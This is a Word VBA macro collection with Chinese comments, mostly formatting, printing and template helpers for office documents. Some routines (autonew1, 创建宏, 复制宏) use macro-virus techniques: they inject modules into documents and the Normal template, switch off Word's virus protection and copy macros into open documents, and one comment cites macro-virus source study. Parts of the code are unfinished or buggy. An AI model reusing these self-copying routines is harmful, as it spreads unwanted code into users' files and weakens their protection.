|
Sub autonew1()
Dim 存在, a, i, j, str
On Error Resume Next
For j = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents.Item(j).Name = "Liuhb" Then
存在 = 1
Exit Sub
End If
Next j
If 存在 <> 1 Then
ActiveDocument.VBProject.VBComponents.Add(1).Name = "Liuhb" ‘添加模块，1为用户模块
Set a = ActiveDocument.VBProject.VBComponents.Item("Liuhb").CodeModule
a.AddFromString ("Sub autoopen()" + VBA.Chr$(13) + "End sub")
a.InsertLines 2, "On Error Resume Next"
a.InsertLines 3, "Selection.InsertDateTime DateTimeFormat:=" + VBA.Chr(34) + "EEEE年O月A日" + VBA.Chr(34) + ", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese"
NormalTemplate.Save
End If
End Sub
Sub 按钮有效()
Dim i As Integer
For i = 1 To CommandBars("formatting").Controls.Count ‘格式工具栏
CommandBars("formatting").Controls(i).Enabled = True ‘按钮有效
Next i
For i = 3 To CommandBars("Standard").Controls.Count ‘常用工具栏
CommandBars("Standard").Controls(i).Enabled = True ‘按钮有效
Next i
CommandBars("Custom Popup 8068093").Enabled = True
End Sub
Sub 缩小字距()
Dim b
On Error Resume Next
ActiveDocument.Compatibility(wdSpacingInWholePoints) = False ‘不按点阵缩放字距
If Selection.Font.Spacing = 9999999 Then ‘当字距不等时,此值为9999999
For b = 1 To Selection.Characters.Count ‘得到所选字符总数
Selection.Characters(b).Font.Spacing = Selection.Characters(b).Font.Spacing - 0.1 ‘为每个字符更改字距
Next b
Else
Selection.Font.Spacing = Selection.Font.Spacing - 0.1
End If
End Sub
Sub 增大字距()
On Error Resume Next
ActiveDocument.Compatibility(wdSpacingInWholePoints) = False ‘不按点阵缩放字距
Dim b
If Selection.Font.Spacing = 9999999 Then ‘当字距不等时,此值为9999999
For b = 1 To Selection.Characters.Count ‘得到所选字符总数
Selection.Characters(b).Font.Spacing = Selection.Characters(b).Font.Spacing + 0.1 ‘为每个字符更改字距
Next b
Else
Selection.Font.Spacing = Selection.Font.Spacing + 0.1
End If
End Sub
Sub 缩小行距()
Dim b
On Error Resume Next
StatusBar = "老刘郑重提示: 该命令会取消行自动对齐到行网格！"
With Selection.ParagraphFormat
.AutoAdjustRightIndent = False ‘不自动调整右缩进
.DisableLineHeightGrid = True ‘不自动对齐行网格
End With
If Selection.ParagraphFormat.LineSpacing = 9999999 Then
For b = 1 To Selection.Paragraphs.Count
Selection.Paragraphs(b).LineSpacing = Selection.Paragraphs(b).LineSpacing * 0.95
Next b
Else
Selection.ParagraphFormat.LineSpacing = Selection.ParagraphFormat.LineSpacing * 0.95
End If
End Sub
Sub 增大行距()
Dim b
On Error Resume Next
StatusBar = "老刘郑重提示: 该命令会取消行自动对齐到行网格！"
With Selection.ParagraphFormat
.AutoAdjustRightIndent = False ‘不自动调整右缩进
.DisableLineHeightGrid = True ‘不自动对齐行网格
End With
If Selection.ParagraphFormat.LineSpacing = 9999999 Then ‘当段落间距不等时,此值为9999999
For b = 1 To Selection.Paragraphs.Count ‘得到所选段落总数
Selection.Paragraphs(b).LineSpacing = Selection.Paragraphs(b).LineSpacing * 1.05
Next b
Else
Selection.ParagraphFormat.LineSpacing = Selection.ParagraphFormat.LineSpacing * 1.05
End If
End Sub
Sub 等高变宽()
On Error Resume Next
Selection.Font.Scaling = Selection.Font.Scaling + 1
End Sub
Sub 等高变窄()
On Error Resume Next
Selection.Font.Scaling = Selection.Font.Scaling - 1
End Sub
Sub 字表间距()
On Error Resume Next
ActiveDocument.Compatibility(wdAlignTablesRowByRow) = False
Selection.Tables(1).Select
With Selection.Borders(wdBorderTop)
.LineStyle = wdLineStyleSingle
.LineWidth = wdLineWidth150pt
.Color = Options.DefaultBorderColor
End With
With Selection.Borders(wdBorderLeft)
.LineStyle = wdLineStyleSingle
.LineWidth = wdLineWidth150pt
.Color = Options.DefaultBorderColor
End With
With Selection.Borders(wdBorderBottom)
.LineStyle = wdLineStyleSingle
.LineWidth = wdLineWidth150pt
.Color = Options.DefaultBorderColor
End With
With Selection.Borders(wdBorderRight)
.LineStyle = wdLineStyleSingle
.LineWidth = wdLineWidth150pt
.Color = Options.DefaultBorderColor
End With
On Error GoTo a:
Selection.Tables(1).Rows.Alignment = wdAlignRowCenter
Selection.Cells.VerticalAlignment = wdCellAlignVerticalCenter
Selection.Rows.SpaceBetweenColumns = 0
Selection.Tables(1).AllowAutoFit = False
a:
If Err = 4605 Then
MsgBox "当前位置不在表格中,请重新定义。", vbInformation, "刘厚彬现在轻轻地告诉你"
End If
End Sub
Sub 表格帮助()
On Error Resume Next
Dim TC%, TR%, FC%, LC%, FR%, LR%, dummy%, Row%, CoL%
Dim FCT&, LCT&
Dim Q1Dbl$, Q2Dbl$
Dim Msg1$, Msg2$, Msg3$, Msg4$, Msg5$, Msg6$, Title$
Msg3$ = "选定的内容必需在一个表格中"
Msg6$ = "我还无法知道列行的总数，因为有些单元格被合并或拆分"
Title$ = "让我轻轻地告诉你"
If Application.Documents.Count Then
If Selection.Information(wdWithInTable) Then
CoL = Selection.Information(wdMaximumNumberOfColumns)
Row = Selection.Information(wdMaximumNumberOfRows)
FC = Selection.Information(wdStartOfRangeColumnNumber)
LC = Selection.Information(wdEndOfRangeColumnNumber)
FR = Selection.Information(wdStartOfRangeRowNumber)
LR = Selection.Information(wdEndOfRangeRowNumber)
FCT = FC / 26
Select Case FCT ‘得到开始列的高位如"AB12"中的"A"
Case 0 To 1
Q1Dbl = ""
Case Is <= 2
Q1Dbl = "A"
FC = FC - 26
Case Else
Q1Dbl = "B"
FC = FC - 52
End Select
LCT = LC / 26
Select Case LCT ‘得到结束列的高位
Case 0 To 1
Q2Dbl = ""
Case Is <= 2
Q2Dbl = "A"
LC = LC - 26
Case Else
Q2Dbl = "B"
LC = LC - 52
End Select
Msg1$ = "单元格在 " & Q1Dbl & VBA.Chr$(Val(FC) + 64) & ":" & LR & "."
Msg2$ = "选定单元格的范围为： " & Q1Dbl & VBA.Chr$(Val(FC) + 64) & FR & ":" & Q2Dbl & VBA.Chr$(Val(LC) + 64) & LR & "."
Msg5$ = "表格共有 " & CoL & " 列 " & Row & " 行。"
If FC = LC And FR = LR Then
dummy = MsgBox(Msg1$ & " " & Msg5$, vbOKOnly, Title$)
Else
dummy = MsgBox(Msg2$ & " " & Msg5$, vbOKOnly, Title$)
End If
Else
dummy = MsgBox(Msg3$, vbOKOnly, Title$)
End If
On Error GoTo TError
End If
Exit Sub
TError:
If Err = 5992 Then
dummy = MsgBox(Msg6$, vbOKOnly, Title$)
End If
Resume Next
End Sub
Sub 减少段前距()
Dim b
On Error Resume Next
Selection.ParagraphFormat.SpaceBeforeAuto = False
If Selection.ParagraphFormat.SpaceBefore = 9999999 Then
For b = 1 To Selection.Paragraphs.Count
If Selection.Paragraphs(b).SpaceBefore >= 1 Then
Selection.Paragraphs(b).SpaceBefore = Selection.Paragraphs(b).SpaceBefore - 1
End If
Next b
Else
If Selection.ParagraphFormat.SpaceBefore >= 1 Then
Selection.ParagraphFormat.SpaceBefore = Selection.ParagraphFormat.SpaceBefore - 1
End If
End If
End Sub
Sub 增加段前距()
Dim b
On Error Resume Next
Selection.ParagraphFormat.SpaceBeforeAuto = False
If Selection.ParagraphFormat.SpaceBefore = 9999999 Then
For b = 1 To Selection.Paragraphs.Count
If Selection.Paragraphs(b).SpaceBefore <= 1584 Then
Selection.Paragraphs(b).SpaceBefore = Selection.Paragraphs(b).SpaceBefore + 1
End If
Next b
Else
If Selection.ParagraphFormat.SpaceBefore <= 1584 Then
Selection.ParagraphFormat.SpaceBefore = Selection.ParagraphFormat.SpaceBefore + 1
End If
End If
End Sub
Sub 减少段后距()
Dim b
On Error Resume Next
Selection.ParagraphFormat.SpaceAfterAuto = False
If Selection.ParagraphFormat.SpaceAfter = 9999999 Then
For b = 1 To Selection.Paragraphs.Count
If Selection.Paragraphs(b).SpaceAfter >= 1 Then
Selection.Paragraphs(b).SpaceAfter = Selection.Paragraphs(b).SpaceAfter - 1
End If
Next b
Else
If Selection.ParagraphFormat.SpaceAfter >= 1 Then
Selection.ParagraphFormat.SpaceAfter = Selection.ParagraphFormat.SpaceAfter - 1
End If
End If
End Sub
Sub 增加段后距()
Dim b
On Error Resume Next
Selection.ParagraphFormat.SpaceAfterAuto = False
If Selection.ParagraphFormat.SpaceAfter = 9999999 Then
For b = 1 To Selection.Paragraphs.Count
If Selection.Paragraphs(b).SpaceAfter <= 1584 Then
Selection.Paragraphs(b).SpaceAfter = Selection.Paragraphs(b).SpaceAfter + 1
End If
Next b
Else
If Selection.ParagraphFormat.SpaceAfter <= 1584 Then
Selection.ParagraphFormat.SpaceAfter = Selection.ParagraphFormat.SpaceAfter + 1
End If
End If
End Sub
Sub 插入单位()
On Error Resume Next
Frm单位.Show 0
End Sub
Sub 大字打印()
On Error Resume Next
Frm大字打印.Show 0
End Sub
Sub 编号()
On Error Resume Next
Frm编号.Show 0
End Sub
Sub 行尾间距()
On Error Resume Next
Frm行尾间距.Show 0
End Sub
Sub 纵向16开()
‘ With ActiveDocument.Range(Start:=Selection.Start, End:=ActiveDocument. _
Content.End).PageSetup ‘插入点之后
‘With ActiveDocument.PageSetup ‘整篇文档
With Selection.PageSetup ‘本节
.Orientation = wdOrientPortrait ‘纵向
.TopMargin = MillimetersToPoints(24)
.BottomMargin = MillimetersToPoints(25)
.LeftMargin = MillimetersToPoints(28)
.RightMargin = MillimetersToPoints(25)
.FooterDistance = MillimetersToPoints(21)
.PageWidth = MillimetersToPoints(196)
.PageHeight = MillimetersToPoints(270)
.FirstPageTray = wdPrinterDefaultBin
.OtherPagesTray = wdPrinterDefaultBin
End With
End Sub
Sub 打印为PDF格式文件()
On Error GoTo c:
Dim a As Balloon
Dim b As String
b = ActivePrinter
Options.PrintDrawingObjects = True ‘打印图形对象
ActivePrinter = "Acrobat PDFWriter"
ActiveDocument.PrintOut
c:
ActivePrinter = b
End Sub
Sub 插入页码()
Dim fstpg As Byte
Dim mydialog As Dialog
Dim a As String
On Error Resume Next
fstpg = 1
ActiveWindow.View.ShowFieldCodes = False ‘隐藏窗口域代码
Set mydialog = Dialogs(wdDialogInsertPageNumbers)
If mydialog.Display = -1 Then ‘-2关闭；-1确定；0取消；1第一个按钮，2第二个按钮，以此类推。
If mydialog.firstpage = False Then ‘判断首页是否打印页码
mydialog.firstpage = True
fstpg = False
End If
mydialog.Execute
ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter ‘切换到页脚
Selection.SetRange Start:=0, End:=4 ‘选定前3个字符文本
If VBA.Mid$(Selection.text, 1, 1) <> "—" Then
Selection.EndKey Unit:=wdLine
Selection.TypeText text:=" —"
Selection.MoveLeft Unit:=wdCharacter, Count:=5
Selection.TypeText text:="— "
Selection.ParagraphFormat.CharacterUnitRightIndent = 0.75
Selection.ParagraphFormat.CharacterUnitFirstLineIndent = 1.19
End If
If fstpg = False Then
mydialog.firstpage = False
mydialog.Execute ‘首页不显示页码
End If
ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
End If
End Sub
Sub 朗读文本()
On Error Resume Next
StatusBar = "老刘郑重提示: 执行该命令后文本如果未朗读完将不能进行其他操作！"
Excel.Application.Speech.Speak (ActiveWindow.Selection)
End Sub
Sub 打印当前页()
On Error Resume Next
If ActivePrinter = "hp1015双面" Then ActivePrinter = "hp1015单面"
Application.PrintOut Range:=wdPrintCurrentPage
End Sub
Sub 打印当前节()
On Error Resume Next
Application.PrintOut Range:=wdPrintRangeOfPages, pages:="s" & Selection.Information(wdActiveEndSectionNumber)
End Sub
Sub 打印为16开()
Dim prn16k As Dialog
On Error Resume Next
Set prn16k = Dialogs(wdDialogFilePrint)
StatusBar = "老刘郑重提示: 执行该命令后页面内容将自动适应16K纸张！"
If prn16k.Display(5000) = -1 Then ‘停留五秒
prn16k.PrintZoomPaperWidth = 11164
prn16k.PrintZoomPaperHeight = 15479
prn16k.Execute
End If
End Sub
Sub 打印为A4()
Dim prnA4 As Dialog, a As Long
On Error Resume Next
StatusBar = "老刘郑重提示: 执行该命令后页面内容将自动适应A4纸张！"
Set prnA4 = Dialogs(wdDialogFilePrint)
If prnA4.Display(5000) = -1 Then ‘停留五秒
prnA4.PrintZoomPaperWidth = 11905
prnA4.PrintZoomPaperHeight = 16838
prnA4.Execute
End If
End Sub
Sub 不打印图()
On Error Resume Next
Options.PrintDrawingObjects = False
StatusBar = "老刘郑重提示: 该命令将不会打印文档中的图形对像！"
Dialogs(wdDialogFilePrint).Show
Options.PrintDrawingObjects = True
End Sub
Sub 党委文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\党委文件.dot"
End Sub
Sub 政府文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\政府文件.dot"
End Sub
Sub 会议纪要()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\会议纪要.dot"
End Sub
Sub 纪委文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\纪委文件.dot"
End Sub
Sub 人大文件()
Documents.Add Template:=Options.DefaultFilePath(wdUserTemplatesPath) + "\人大文件.dot"
End Sub
Sub 模板位置()
On Error Resume Next
Selection.TypeText text:=Options.DefaultFilePath(wdUserTemplatesPath)
End Sub
Sub 自动更正列表位置()
On Error Resume Next
Selection.TypeText text:="C:\Documents and Settings\Owner\Application Data\Microsoft\Office\MSO1033.acl"
End Sub
Sub 删除页码()
On Error Resume Next
If MsgBox("此命令将删除所有页面的页码！" & VBA.Chr(13) & "如果只删除首页页码请在插入页码中取消“首页显示页码”；" & VBA.Chr(13) & "如果屏蔽当前页页码，请用白色矩形框遮挡！", vbOKCancel, "注意") = vbOK Then
ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter ‘切换到页脚
Selection.WholeStory
Selection.Delete
ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
End If
End Sub
Sub 防止调整表格宽度时表格不规则()
On Error Resume Next
ActiveDocument.Compatibility(wdAlignTablesRowByRow) = False
End Sub
Sub 插入日期()
On Error Resume Next
Selection.InsertDateTime DateTimeFormat:="EEEE年O月A日", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese
End Sub
Sub 大写金额()
Dim BigNum, snum, i, mydata As DataObject
On Error GoTo e
Set mydata = New DataObject
BigNum = ""
snum = Selection.text
If IsNumeric(snum) = False Then
mydata.GetFromClipboard ‘从剪切板取值
snum = mydata.GetText(1)
End If
snum = VBA.Trim(VBA.str(Int(Round(snum, 2) * 100)))
If snum < 0 Then snum = -snum: BigNum = "负"
If snum = 0 Then
BigNum = "零元整"
Else
Const cNum = "零壹贰叁肆伍陆柒捌玖-万仟佰拾亿仟佰拾万仟佰拾元角分"
Const cCha = "零仟零佰零拾零零零零零亿零万零元亿万零角零分零整-零零零零零亿万元亿零整整"
For i = 1 To Len(snum) ‘逐位转换
BigNum = BigNum + VBA.Mid(cNum, (VBA.Mid(snum, i, 1)) + 1, 1) + VBA.Mid(cNum, 26 - Len(snum) + i, 1)
Next i
BigNum = Replace(BigNum, "零亿", "亿零")
BigNum = Replace(BigNum, "零万", "万零")
BigNum = Replace(BigNum, "零元", "元零")
For i = 0 To 11 ‘去掉多余的零
BigNum = Replace(BigNum, VBA.Mid(cCha, i * 2 + 1, 2), VBA.Mid(cCha, i + 26, 1))
Next i
End If
Selection.MoveRight
Selection.TypeText text:=BigNum
End
e:
MsgBox "你输入数字错误或太大!请重新输入。", vbExclamation + vbOKOnly, "提示"
End Sub
Sub 复制宏()
Dim file$
Dim ans$
Dim Test
Dim mItem
Dim cItem
Dim adoc
Dim aTemp
Dim anormal
Dim vset
Dim Iset
Dim ad
Dim newmodule
file$ = WordBasic.[MacroFileName$]()
Options.VirusProtection = False ‘关闭病毒保护
‘ActiveDocument.VBProject.VBComponents.Add(1).Name = "中国" ‘调试成功
‘Documents("宏病毒源码学习.doc").VBProject.VBComponents.Add(1).Name = "中国" ‘调试成功
‘使用VBProject.VBComponents必须修改宏安全性信任，add参数1表示添加模块，2表示添加类模块
‘Application.OrganizerRename Source:=file, Name:="newmacros", newname:="qqqqq", Object:=wdOrganizerObjectProjectItems ‘调试成功
ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString "11111" ‘1为文档对象，2为模块对象，3为类模块对象
Application.OrganizerCopy file$, "F:\Mydoc\我的文档\My 2005Doc\宏病毒源码学习.doc", Name:="newmacros", Object:=wdOrganizerObjectProjectItems
For Each adoc In Documents ‘扫描文档
For Each ad In newmodule
Iset = ad.Name
Next ad
‘newmodule.
For Each cItem In adoc.VBProject.VBComponents ‘扫描文档中的宏模块名称
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
Stop
WordBasic.MacroCopy file$ + ":NewMacros", ActiveDocument.FullName + ":newmodule"
Next adoc
WordBasic.MacroCopy ActiveDocument.FullName + ":newmacros", "adoc.doc:newmacros"
End Sub
Sub 添加按钮并指定宏()
If CommandBars("insert").Controls(3).Caption <> "删除页码" Then
CommandBars("Insert").Controls.Add Type:=msoControlButton, Before:=3
CommandBars("insert").Controls(3).Caption = "删除页码"
CommandBars("insert").Controls(3).OnAction = "NewMacros.删除页码"
End If
End Sub
Sub 创建宏()
Dim 存在, a, i, j, str
On Error Resume Next
For j = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents.Item(j).Name = "Liuhb" Then
存在 = 1
Exit Sub
End If
Next j
If 存在 <> 1 Then
NormalTemplate.VBProject.VBComponents.Add(1).Name = "Liuhb" ‘添加模块，1为用户模块
Set a = NormalTemplate.VBProject.VBComponents.Item("Liuhb").CodeModule
a.AddFromFile "c:\ls.txt"
‘a.AddFromString ("Sub 插入日期()" + VBA.Chr$(13) + "End sub")
‘a.InsertLines 2, "On Error Resume Next"
‘a.InsertLines 3, "Selection.InsertDateTime DateTimeFormat:=" + VBA.Chr(34) + "EEEE年O月A日" + VBA.Chr(34) + ", InsertAsField:=False, DateLanguage:=wdSimplifiedChinese"
NormalTemplate.Save
End If
End Sub
Sub 另存到优盘()
Dim doc As Document
On Error GoTo e
Set doc = Documents.Open(NormalTemplate.FullName, AddToRecentFiles:=False, Visible:=False)
‘必须打开模板才能修改变量,修改后也要使用addtorecentfiles:=False参数隐藏显示在文件菜单底部，Visible:=False隐藏方式打开
ActiveDocument.SaveAs (doc.Variables("优盘盘符") + ":" + ActiveDocument.Name)
doc.Close
End
e:
If Err() = 5156 Then
Fr盘符.Show 0
End If
End Sub
Sub 计算递增量()
Frm递增计算.Show 0
‘InStr(VBA.str(i), "4") = 0 Then
End Sub
Sub 打印记录()
Frm打印记录.Show 0
End Sub
Sub 不自动调整表格列宽()
Selection.Tables(1).AllowAutoFit = False
End Sub
Sub Macro2()
ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 80.7, _
746.7, 443.3, 39.15).Select
Selection.ShapeRange.TextFrame.TextRange.Select
Selection.Collapse
Selection.ShapeRange.Line.Visible = msoFalse
Selection.ShapeRange.Fill.Visible = msoFalse
Selection.ShapeRange.Select
Selection.ShapeRange.IncrementTop -4.35
Selection.Font.Size = 9
Selection.Font.Name = "Times New Roman"
Selection.Font.Name = "宋体"
Selection.ParagraphFormat.Space1
Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
Selection.TypeText text:="我是一个兵，来自老百姓。"
End Sub
Sub 删除节页码()
On Error Resume Next
With Selection.Sections(1).Headers(1).PageNumbers
.RestartNumberingAtSection = True
.StartingNumber = 0
End With
Selection.Sections(1).Footers(1).PageNumbers.Add firstpage:=0
End Sub
Sub 在每页加名言()
Dim a, b, c, d, e, f, i
Set a = Dialogs(wdDialogFileOpen)
a.Name = "*.txt"
a.Display
b = VBA.CurDir() & "" & a.Name
Set c = CreateObject("Scripting.FileSystemObject")
Set d = c.opentextfile(b)
For i = 1 To Selection.Information(wdActiveEndPageNumber)
Selection.GoTo What:=wdGoToPage, Which:=wdGoToFirst, Count:=i, Name:=""
ActiveDocument.Shapes.AddTextbox(msoTextOrientationHorizontal, 80.7, 746.7, 443.3, 39.15).Select
Selection.ShapeRange.TextFrame.TextRange.Select
Selection.Collapse
Selection.ShapeRange.Line.Visible = msoFalse
Selection.ShapeRange.Fill.Visible = msoFalse
Selection.ShapeRange.Select
Selection.ShapeRange.IncrementTop -4.35
Selection.Font.Size = 9
Selection.Font.Name = "Times New Roman"
Selection.Font.Name = "宋体"
Selection.ParagraphFormat.Space1
Selection.ParagraphFormat.Alignment = wdAlignParagraphJustify
Selection.TypeText text:=d.readline
Next i
d.Close
End Sub
Sub 将所有文档保为htm()
Dim file, a, 所在文档目录, 保存目录
所在目录 = "D:\Mydocument"
保存目录 = "F:"
file = Dir("所在目录" & "")
Do
If VBA.Right(file, 4) = ".doc" Then
Documents.Open ("所在目录" + "" + file)
ActiveDocument.SaveAs FileName:=保存目录 & ActiveDocument.Name & ".htm", FileFormat:=wdFormatHTML
ActiveDocument.Close
End If
file = Dir
Loop While file <> ""
End Sub
|
